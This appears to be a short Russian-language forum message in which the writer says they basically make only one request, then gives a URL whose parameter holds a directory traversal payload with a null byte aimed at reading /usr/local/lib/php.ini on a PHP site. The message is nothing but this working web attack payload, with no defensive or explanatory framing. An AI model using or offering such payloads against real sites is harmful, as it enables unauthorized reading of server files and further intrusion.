в принципе я делаю только вот такой запрос

http://www.sitename.com/scriptname.php?param=../../../../../../../../../../../usr/local/lib/php.ini%00